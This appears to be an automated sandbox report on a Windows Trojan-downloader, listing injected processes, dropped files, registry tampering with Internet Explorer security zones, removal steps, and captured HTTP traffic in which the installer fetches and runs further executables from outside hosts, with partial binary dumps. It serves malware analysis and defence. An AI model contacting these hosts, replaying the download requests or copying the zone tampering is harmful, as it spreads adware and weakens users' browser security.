Trojan.Win32.Bumat_b6ee574792

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):No processes have been created.The Trojan injects its code into the following process(es):

tmp2.tmp:716
cpSetup.exe:1716
%original file name%.exe:924

Mutexes

The following mutexes were created/opened:

_limiter-wrpr13-dwnldr13-limiter_ShimCacheMutex

File activity

The process tmp2.tmp:716 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsx4.tmp\848965002 (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx4.tmp\cpSetup.exe (12276 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx4.tmp\NSISdl.dll (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx4.tmp\nsArray.dll (6 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsx3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx4.tmp (0 bytes)

The process cpSetup.exe:1716 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\000cd6cd.a (1730 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\000cd16e.a (76 bytes)

The process %original file name%.exe:924 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\tmp1.tmp (247 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\tmp2.tmp (14888 bytes)

Registry activity

The process tmp2.tmp:716 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "BE 1E BA 21 44 43 AA 55 DF 66 AC 73 D9 C8 37 47"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process cpSetup.exe:1716 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2B C9 CA 3A 31 97 C4 71 80 8E BF 1C 50 1A F3 B7"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1457103954"
"Name" = "cpSetup.exe"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The process %original file name%.exe:924 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "3A BA 79 CD BE E8 8B D1 DD 2C 73 25 8D 04 DA 2D"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:

   %Documents and Settings%\%current user%\Local Settings\Temp\nsx4.tmp\848965002 (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsx4.tmp\cpSetup.exe (12276 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsx4.tmp\NSISdl.dll (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsx4.tmp\nsArray.dll (6 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\000cd6cd.a (1730 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\000cd16e.a (76 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\tmp1.tmp (247 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\tmp2.tmp (14888 bytes)

4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
5. Reboot the computer.
   

Static Analysis

VersionInfo

No information is available.

No information is available.

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 1
e636d018b8b03234d123a7ec74f16453

Network Activity

URLs

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /launch_v5.php?p=sevenzip&pid=1505&tid=4214973&b_typ=pe&n=QWxpZW4gc2tpbiBleHBvc3VyZSA3LjAuMS44MyB4&reb=1&ic= HTTP/1.0

Host: up.sdfuus98d7f.xyz

User-Agent: NSISDL/1.2 (Mozilla)

Accept: */*

HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Content-Length: 1773

Connection: close

Date: Sun, 06 Mar 2016 21:20:21 GMT

Server: Apache/2.2.15 (CentOS)

X-Powered-By: PHP/5.3.3

X-Cache: Miss from cloudfront

Via: 1.1 2ce6276171358bf7d052aa190ed98f8d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: oBe4vDGTb3XRxO9ID9bmCDOg1EDLJEoH8ZWAGyC0lFsWPnPyPKtFRg==

files=4.t1=dl.u1=hXXp://get.slfdio83rh.xyz/?affId=1006&appTitle=Alien%2520skin%20exposure%207.0.1.83%20x&s1=1505&s2=4214973&setupName=cpSetup&appVersion=2.92&instId=11.n1=cpSetup.exe.b1=cp.c1=sevenzip-1.s1=0.m1=0.d1=0.t2=dl.u2=hXXp://get.file888desktop.info/?p=24718&d=30497&l=29729&dynamicname=Alien%20skin%20exposure%207.0.1.83%20x&filename=setup-1228&exeurl=http://d16oc15frjt76r.cloudfront.net/setup_ru.exe&gt=get75&ts=14533669397&con=1&prl=1&d1=4214973&d2=1505.n2=setup-1228.exe.b2=ru.c2=sevenzip-2.s2=0.m2=1.d2=1500.t3=dl.u3=hXXp://VVV.autojuly16-hp-download.biz/download.php?version=1.1.5.26&monitor=1&z2=0&ci=2140&appsetupurl=http://pe-sixi.com/downloadS.php?bu=am&prefix=Setup&instid[appname]=installer&instid[cmdline]=/S&instid[appimageurl]=http://pe-sixi.com/img/icon_installer.png.n3=Setup__2140_il189.exe.b3=am.c3=2140-sevenzip.s3=0.m3=0.d3=0.t4=dl.u4=hXXp://stapi.sweetcomet.com/api/stamp/setup.exe?&affiliateid=1780&productname=Alien%20skin%20exposure%207.0.1.83%20x&producturl=http://d3pccup19xda2t.cloudfront.net/sevenzip-setup-ap.exe&productimage=http://d3pccup19xda2t.cloudfront.net/pe/szip_pub.png&productversion=9.20&producteula=http://sevenzip.info/terms.html&productsize=1.06MB&productcmd=s&publishercontact=http://sevenzip.info&productbusiness=sd,se,ad,co,prm,wsa,ita,serp%2Cbro&antivirusPolicy=2&subid=1505&subid2=4214973.n4=SevenZip-apset.exe.b4=ap.c4=sevenzip.s4=0.m4=0.d4=0.t5=dl.u5=hXXp://sub.spirlymo.co

<<< skipped >>>

GET hXXp://up.afiledownload27.space/installer.php?affId=1006&instId=11&ho_trackingid=102cd073824b705559ba7a4c944cde&trackingId=13605393&cc=UA&uac=1&cid=707569c4c57c87d53171d83f71777ffd&v=1&cid=707569c4c57c87d53171d83f71777ffd&uac=1&id[]=855&id[]=856&id[]=631&id[]=632&id[]=852&id[]=854 HTTP/1.1

Host: up.afiledownload27.space

Connection: close

Accept: */*

User-Agent: InstallCapital

HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 449064

Connection: close

Server: Microsoft-IIS/8.5

X-Powered-By: PHP/5.3.28

Date: Sun, 06 Mar 2016 21:20:10 GMT

X-Cache: Miss from cloudfront

Via: 1.1 f79fb4ec3e3b691f1a4b95d6d66a1c58.cloudfront.net (CloudFront)

X-Amz-Cf-Id: M2q0peIaU1SB0T3dUO-JmvxeWk4poHtKCTWerCqRTfdWV4EcgHfOrA==

.O.......`...Aa.N....../.#...0...C ....U...c..96....Mh....o.....9..w.).N......P. .H.}V.l. ....H...j?c.[...m;``...j....."......'*.#......^1...?`.z..!L.r<{3......u.`.O.qN.^0r}.F...IFt-H....bH..Q.1).%.......W_B.6C...|........B6.{.%...8..:......[..M`X2I.6..mj..d.k&...........h ...6A..n..8........._..X8....k....*.........B8.0..35....{.vE..tS."..f-....S1f.=~.t. R.[..[..x..........Ch,......S.(.........h......wK-^..S..2zc..(.4n.P...oH`......}?7......C.g..M........O.?..h.....b{.....T...`..#.....Y8._...p/.....7$.[.... ...AM..l|/X..|.Q...Ju.eFr.}}.....X...C.K9,.....v1.Ur.U.@/B....Gw0(.......jw9.o.A.Z...._h..[U.n[............d...Z7.q...F..|......cf....._aM<(!..T....\...b.'....4.9.0.4..v.S..v...UKxlJ......r..:PK.......`fk....K..X../....6...#e_T/O.z(. ..;..W..K.9.(...s...f..d....S?.u:.R.(....&...5..=H...t|.H...?...dS. .1...9WY{.A....3....Q...gv.n.;..~.E........0.n.....[b.(j.=...\.....Pk..'....>-....r....a..b.....?G...5......".C~.....L.VJ&..z.b.V.i........#....I6...gZ*...V..*......A^....sICP.h......C......fx.8>........j."..lg.B.d...^U..c...Y{S.$.....Er}!..........j....i..^.~m.}_l..\.L\.......;..$....x)N.2...2.A......7q.if.0.7-..........Z.e.~.g.....#..Z..6g.S..,.... ....cS.B...2h......L!...6....l....I9...w..cP....=D.Y...W@...p.v.Qok......F,. e.!.\<$...Y..8......~e>.._i...E..:`,...t.,._n/.....7(A.. .3.A8.Ns.r%.m'@....4J...5C.....hB....lM.,..M".....%..}.!X.... |3"dL.~...)...RF"...1....H....^..%.....V......\..%%&......n...8... ....Ti'F.S..E.U..t....e..gp......B.k.....MA..-<P.....8w.>I...{.........@.J'.3..a

<<< skipped >>>

GET hXXp://up.afiledownload27.space/h_redir.php?offer_id=4&aff_id=1006&source=11&aff_sub=1505&aff_sub2=4214973&aff_sub3=0&aff_sub4=0&aff_sub5=0&url=http://up.afiledownload27.space/offer.php?affId={aff_id}&trackingId=13605393&instId=11&ho_trackingid={transaction_id}&cc={country_code}&cc_typ=ho&sb=x86&wv=xpsp3&db=&uac=1&cid=707569c4c57c87d53171d83f71777ffd&v=1 HTTP/1.1

Host: up.afiledownload27.space

Connection: close

Accept: */*

User-Agent: InstallCapital

HTTP/1.1 302 Moved Temporarily

Content-Type: text/html; charset=UTF-8

Content-Length: 585

Connection: close

Location: hXXp://capital.go2cloud.org/aff_c?offer_id=4&aff_id=1006&source=11&aff_sub=1505&aff_sub2=4214973&aff_sub3=0&aff_sub4=0&aff_sub5=0&url=http://up.afiledownload27.space/offer.php?affId={aff_id}&trackingId=13605393&instId=11&ho_trackingid={transaction_id}&cc={country_code}&cc_typ=ho&sb=x86&wv=xpsp3&db=&uac=1&cid=707569c4c57c87d53171d83f71777ffd&v=1

Server: Microsoft-IIS/8.5

X-Powered-By: PHP/5.3.28

Date: Sun, 06 Mar 2016 21:20:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 544548a56effae388f72d320aa8e1891.cloudfront.net (CloudFront)

X-Amz-Cf-Id: jzBX8JX--QY6zn_RI8t98M-VEuUXlt2sl9oFukkkD9ijNA6NlsOd7Q==

<head><title>Document Moved</title></head>.<body><h1>Object Moved</h1>This document may be found <a HREF="hXXp://capital.go2cloud.org/aff_c?offer_id=4&aff_id=1006&source=11&aff_sub=1505&aff_sub2=4214973&aff_sub3=0&aff_sub4=0&aff_sub5=0&url=http://up.afiledownload27.space/offer.php?affId={aff_id}&trackingId=13605393&instId=11&ho_trackingid={transaction_id}&cc={country_code}&cc_typ=ho&sb=x86&wv=xpsp3&db=&uac=1&cid=707569c4c57c87d53171d83f71777ffd&v=1">here</a></body>..

GET hXXp://capital.go2cloud.org/aff_c?offer_id=4&aff_id=1006&source=11&aff_sub=1505&aff_sub2=4214973&aff_sub3=0&aff_sub4=0&aff_sub5=0&url=http://up.afiledownload27.space/offer.php?affId={aff_id}&trackingId=13605393&instId=11&ho_trackingid={transaction_id}&cc={country_code}&cc_typ=ho&sb=x86&wv=xpsp3&db=&uac=1&cid=707569c4c57c87d53171d83f71777ffd&v=1 HTTP/1.1

Host: capital.go2cloud.org

Connection: close

Accept: */*

User-Agent: InstallCapital

HTTP/1.1 302 Found

Cache-Control: no-cache, no-store, must-revalidate

Content-Type: text/html; charset=iso-8859-1

Date: Sun, 06 Mar 2016 21:20:25 GMT

Expires: Sat, 26 Jul 1997 05:00:00 GMT

Location: hXXp://up.afiledownload27.space/offer.php?affId=1006&trackingId=13605393&instId=11&ho_trackingid=102cd073824b705559ba7a4c944cde&cc=UA&cc_typ=ho&sb=x86&wv=xpsp3&db=&uac=1&cid=707569c4c57c87d53171d83f71777ffd&v=1

P3P: CP="NOI CUR OUR NOR INT"

Pragma: no-cache

Server: nginx/1.7.9

Set-Cookie: enc_aff_session_4=ENC02224-102cd073824b705559ba7a4c944cde-1006-4-0-0-0-0-UA-0-3131-31353035-34323134393733-30-30-30-194.242.96.218-20160306162025-_-6E7766647074021762191A763A6E041C66110306002F594538710D41237C4B2C4D050345194249146C; expires=Tue, 05 Apr 2016 21:20:25 GMT; path=/;

Set-Cookie: ho_mob=eyJtb2JpbGVfY2FycmllciI6Ij8iLCJ1c2VyX2FnZW50IjoiSW5zdGFsbENhcGl0YWwiLCJjb25uZWN0aW9uX3NwZWVkIjoiYnJvYWRiYW5kIn0=; expires=Wed, 30 Jan 2019 08:00:25 GMT; path=/;

tracking_id: 102cd073824b705559ba7a4c944cde

X-Robots-Tag: noindex, nofollow

Content-Length: 438

Connection: Close

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>302 Found</title>.</head><body>.<h1>Found</h1>.<p>The document has moved <a href="hXXp://up.afiledownload27.space/offer.php?affId=1006&trackingId=13605393&instId=11&ho_trackingid=102cd073824b705559ba7a4c944cde&cc=UA&cc_typ=ho&sb=x86&wv=xpsp3&db=&uac=1&cid=707569c4c57c87d53171d83f71777ffd&v=1">here</a>.</p>.</body></html>...

<<< skipped >>>

GET /stub_maker.php?program=sevenzip&tid=4214973&pid=1505&b_typ=pe&reb=1&name=Alien skin exposure 7.0.1.83 x&t=first&truename=/InstallerSetup.exe HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0

Host: dl.ddownload6.club

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

HTTP/1.1 200 OK

Content-Type: application/force-download

Content-Length: 66841

Connection: keep-alive

Server: Microsoft-IIS/7.5

X-Powered-By: PHP/5.3.28

Content-Disposition: attachment; filename="56dc9ef49a20f.exe"

X-Powered-By: ASP.NET

Date: Sun, 06 Mar 2016 21:19:49 GMT

X-Cache: Miss from cloudfront

Via: 1.1 6c0d870370440cda5fd173c1fdae12a4.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 42Xo3uVXRJh7wB4MhYB3S899YDAgZa5beSHrcuIsHn24oC9WncCR0g==

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................t...z...B...8............@.......................................@.................................@................................`.......................................................................................text....r.......t.................. ..`.rdata..n .......,...x..............@..@.data.... ..........................@....ndata...................................rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H......G..H.P.u..u..u.....@..K...SV.5..G.W.E.P.u.....@..e...E..E.P.u.....@..}..e....D.@........FR..VV..U... M..........M........E...FQ.....NU..M.......M...VT..U........FP..E...............E.P.M...H.@..E..P.E..E.P.u.....@..u....E..9}...n....~X.te.v4..L.@..E...tU.}.j.W.E......E.......P.@..vXW..T.@..u..5X.@.W..h ....E..E.Pj.h.jG.W....@..u.W...u....E.P.u.....@._^3.[.....L$....G...i. @...T.....tUVW.q.3.;5..G.sD..i. @...D..S.....t.G.....t...O..t .....u...3....3...F. @..;5..G.r.[_^...U..QQ

<<< skipped >>>

POST hXXp://up.afiledownload27.space/installer.php?affId=1006&instId=11&ho_trackingid=102cd073824b705559ba7a4c944cde&trackingId=13605393&cc=UA&uac=1&cid=707569c4c57c87d53171d83f71777ffd&v=1 HTTP/1.1

Host: up.afiledownload27.space

Connection: close

Accept: */*

User-Agent: InstallCapital

Content-Type: application/x-www-form-urlencoded

cid=707569c4c57c87d53171d83f71777ffd&uac=1&id[]=855&id[]=856&id[]=631&id[]=632&id[]=852&id[]=854

HTTP/1.1 403 Forbidden

Server: CloudFront

Date: Sun, 06 Mar 2016 21:20:26 GMT

Content-Type: text/html

Content-Length: 689

Connection: close

X-Cache: Error from cloudfront

Via: 1.1 9e2316f9bf6c03b8640526708b3cdb00.cloudfront.net (CloudFront)

X-Amz-Cf-Id: z2RDcWldLcG75zZGLsonZxRY1aRE832LNiRAvfBLLfAX_m8Pe7AngQ==

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://VVV.w3.org/TR/html4/loose.dtd">.<HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">.<TITLE>ERROR: The request could not be satisfied</TITLE>.</HEAD><BODY>.<H1>ERROR</H1>.<H2>The request could not be satisfied.</H2>.<HR noshade size="1px">.This distribution is not configured to allow the HTTP request method that was used for this request. The distribution supports only cachable requests..<BR clear="all">.<HR noshade size="1px">.<PRE>.Generated by cloudfront (CloudFront).Request ID: z2RDcWldLcG75zZGLsonZxRY1aRE832LNiRAvfBLLfAX_m8Pe7AngQ==.</PRE>.<ADDRESS>.</ADDRESS>.</BODY></HTML>..

POST hXXp://up.dfiledownload28.space/installer.php?affId=1006&instId=11&ho_trackingid=102cd073824b705559ba7a4c944cde&trackingId=13605393&cc=UA&uac=1&cid=707569c4c57c87d53171d83f71777ffd&v=1 HTTP/1.1

Host: up.dfiledownload28.space

Connection: close

Accept: */*

User-Agent: InstallCapital

Content-Type: application/x-www-form-urlencoded

cid=707569c4c57c87d53171d83f71777ffd&uac=1&id[]=855&id[]=856&id[]=631&id[]=632&id[]=852&id[]=854

HTTP/1.1 403 Forbidden

Server: CloudFront

Date: Sun, 06 Mar 2016 21:20:27 GMT

Content-Type: text/html

Content-Length: 689

Connection: close

X-Cache: Error from cloudfront

Via: 1.1 ffaf96eee86cf7d96c222b2f54e79b63.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ps_4nieYKC_YWrymkcY4it5740rbk6j1_fNNmmPSwykiP4RFjV5LhQ==

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://VVV.w3.org/TR/html4/loose.dtd">.<HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">.<TITLE>ERROR: The request could not be satisfied</TITLE>.</HEAD><BODY>.<H1>ERROR</H1>.<H2>The request could not be satisfied.</H2>.<HR noshade size="1px">.This distribution is not configured to allow the HTTP request method that was used for this request. The distribution supports only cachable requests..<BR clear="all">.<HR noshade size="1px">.<PRE>.Generated by cloudfront (CloudFront).Request ID: ps_4nieYKC_YWrymkcY4it5740rbk6j1_fNNmmPSwykiP4RFjV5LhQ==.</PRE>.<ADDRESS>.</ADDRESS>.</BODY></HTML>..

GET hXXp://up.afiledownload27.space/offer.php?affId=1006&trackingId=13605393&instId=11&ho_trackingid=102cd073824b705559ba7a4c944cde&cc=UA&cc_typ=ho&sb=x86&wv=xpsp3&db=&uac=1&cid=707569c4c57c87d53171d83f71777ffd&v=1 HTTP/1.1

Host: up.afiledownload27.space

Connection: close

Accept: */*

User-Agent: InstallCapital

HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 76840

Connection: close

Server: Microsoft-IIS/8.5

X-Powered-By: PHP/5.3.28

Date: Sun, 06 Mar 2016 21:20:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 dfa2cbb51ec90b28f03125592b887c7d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: litbVtHs7jipHpTUwQShMcNbScQIuQ4YGUbFNWSEx50QMC1VdVMejw==

...Z^....C.0...wN..`&.o.....LA...9i.......\U........".....b........S.Y.L.V.../,...8?.A...Y.mo#.......XS5.&;...).U......._.j....u.a..|.3.y.....O./.0.......G....Hs...VQ...W.. a..vQ.NQbDz0..S...~..s...~.zA.c.-...chc.$1U ...V...n...W.7..|.....8..`n`..U..V..O.....L).WlX`..." .U..9 .. a...J..........s.p...X.nX1A.zA.Z.z.T....v=..P.....G.^.e..@.c....fE..Uk.,pT~.5..M.X@.....lg...A4...t{..g....A .Vu..I.x.S_..em...&...i...Y..L...7H....83g.4.V...........a.....}....0yc...<"..]...W&.W..O|.....".-........... 1..#..R.....y...?.4............EV^....n....a..q.=2Lw...`.......K.H...U...@..#.....oA.../N:.M...~M.$.zc..=,]....^.v2.. ........G...l[.}.......Fz..d%.&.%.........Sf..........}.Y.7R@...T../........Gn..,..dS..M....h...H.0..e .=N...~2.dJ..roy.........&*...Y...w.T_....' .wS.-.Q..u6Y........qOn>..%C....WQXQ..P........3.=DI;*B6..3....*.L.....c<.i..Z.@}<y.@........Q.oL...S..@}[.!|Y.y..z..um$.h...._.3..../.M......1....!2.l...(n<!/p(Vo...D....q.: 6.}@R?..*.....7........s...g......s....i 7..'d.......'...2Sx. .....H... -..........*...kSS..:c. ..t.g..O.d.,..,/..c....E.y.....u.Y]rD .........YV:`..E.V.~.]/.:c0.s.N."....F....D0T....f..9.|A.C`h.;...S...#.....uX..K....'W.o.......TCh.k>...i$.[...Q@...}.'....t......".r......g?Ql...yO....I...j..%..O\..b.:...........&..[..-I..4..V,z"9SQ?=.6..6......j.f`....".hC.....`.&_O.1....h..A}d.......6t..>Z..~}.8..c...E..f..N.|.a.T...W'...P`. .3>.`].....5..........^..izkw......~..y.e..1O.......-0.a.....&...=.0...:......o..3.....)f...9.?j.....]...F.&d.."k.0.......Q...u......._#..V.KF

<<< skipped >>>

GET /?affId=1006&appTitle=Alien%20skin%20exposure%207.0.1.83%20x&s1=1505&s2=4214973&setupName=cpSetup&appVersion=2.92&instId=11 HTTP/1.0

Host: get.slfdio83rh.xyz

User-Agent: NSISDL/1.2 (Mozilla)

Accept: */*

HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 155648

Connection: close

Server: Microsoft-IIS/8.5

X-Powered-By: PHP/5.3.28

Content-Transfer-Encoding: Binary

Content-Disposition: attachment; filename="cpSetup.exe"

Date: Sun, 06 Mar 2016 21:20:08 GMT

X-Cache: Miss from cloudfront

Via: 1.1 bc6c3158b6c70458bf3fc3895b89eba6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: QqILiXPijy2K6JXCQ2RI_52bhYv8IAv8oUDeZjceZG9Nlr2yBtpeqQ==

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........M`eP,.6P,.6P,.6.}.6E,.6.}.6?,.6.}.6y,.6YT.6U,.6P,.6.,.6]~.6W,.6]~.6Q,.6P,.6Q,.6]~.6Q,.6RichP,.6................PE..L...R..V.................~........................@.................................>.....@.....................................<....@...P..........................................................x...@............................................text....|.......~.................. ..`.rdata..td.......f..................@..@.data...@6..........................@....rsrc....P...@...R..................@..@.reloc...............N..............@..B................................................................................................................................................................................................................................................................................................................................................h..A......Y.....h..A......Y.....h..A......Y......D$..V......A.t.V..........^.....D$..T$....H.......T$.....t$.R.P..T$..H.;J.u...;.u.........2.....................D$.;H.u...;D$.u......2............A............QV.t$..D$...........t$.........A..E..F......F.........:.u.3.QR...K.....^Y.....W.y...A..u. ._QR... .....^Y..........A............Q.D$...$....V.t$....u&j..F........F.....h..A...........^Y...PV.=.....^Y............A............QV.t$..D$...........t$.........A..E..F......F.........:.u.3.QR...k.....^Y.

<<< skipped >>>

GET /launch_askar.php?p=sevenzip&tid=4214973&pid=1505&n=QWxpZW4gc2tpbiBleHBvc3VyZSA3LjAuMS44MyB4ODYgeDY0IGZpbmFsIFsyMjA1MTVCQVBd&b_typ=pe HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0

Host: fc-rich.space

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

HTTP/1.1 200 OK

Date: Sun, 06 Mar 2016 21:20:18 GMT

Server: Apache/2.2.15 (CentOS)

X-Powered-By: PHP/5.3.3

Content-Length: 180

Connection: close

Content-Type: text/html; charset=UTF-8

first:hXXp://dl.ddownload6.club/stub_maker.php?program=sevenzip&tid=4214973&pid=1505&b_typ=pe&reb=1&name=Alien skin exposure 7.0.1.83%20x&t=first&truename=/InstallerSetup.exe..

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_924:

.text

.text

`.data

`.data

.rdata

.rdata

P.idata

P.idata

@.edata

@.edata

@.rsrc

@.rsrc

@.reloc

@.reloc

MsgHandler

MsgHandler

Windows

Windows

MSWHEEL_ROLLMSG

MSWHEEL_ROLLMSG

MSH_WHEELSUPPORT_MSG

MSH_WHEELSUPPORT_MSG

MSH_SCROLL_LINES_MSG

MSH_SCROLL_LINES_MSG

uxtheme.dll

uxtheme.dll

USER32.DLL

USER32.DLL

MAPI32.DLL

MAPI32.DLL

comctl32.dll

comctl32.dll

DWMAPI.DLL

DWMAPI.DLL

ssShift

ssShift

htKeyword

htKeyword

EInvalidOperation

EInvalidOperation

%s_%d

%s_%d

kernel32.dll

kernel32.dll

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

oleaut32.dll

oleaut32.dll

EVariantBadIndexError

EVariantBadIndexError

clWebSnow

clWebSnow

clWebFloralWhite

clWebFloralWhite

clWebLavenderBlush

clWebLavenderBlush

clWebOldLace

clWebOldLace

clWebIvory

clWebIvory

clWebCornSilk

clWebCornSilk

clWebBeige

clWebBeige

clWebAntiqueWhite

clWebAntiqueWhite

clWebWheat

clWebWheat

clWebAliceBlue

clWebAliceBlue

clWebGhostWhite

clWebGhostWhite

clWebLavender

clWebLavender

clWebSeashell

clWebSeashell

clWebLightYellow

clWebLightYellow

clWebPapayaWhip

clWebPapayaWhip

clWebNavajoWhite

clWebNavajoWhite

clWebMoccasin

clWebMoccasin

clWebBurlywood

clWebBurlywood

clWebAzure

clWebAzure

clWebMintcream

clWebMintcream

clWebHoneydew

clWebHoneydew

clWebLinen

clWebLinen

clWebLemonChiffon

clWebLemonChiffon

clWebBlanchedAlmond

clWebBlanchedAlmond

clWebBisque

clWebBisque

clWebPeachPuff

clWebPeachPuff

clWebTan

clWebTan

clWebYellow

clWebYellow

clWebDarkOrange

clWebDarkOrange

clWebRed

clWebRed

clWebDarkRed

clWebDarkRed

clWebMaroon

clWebMaroon

clWebIndianRed

clWebIndianRed

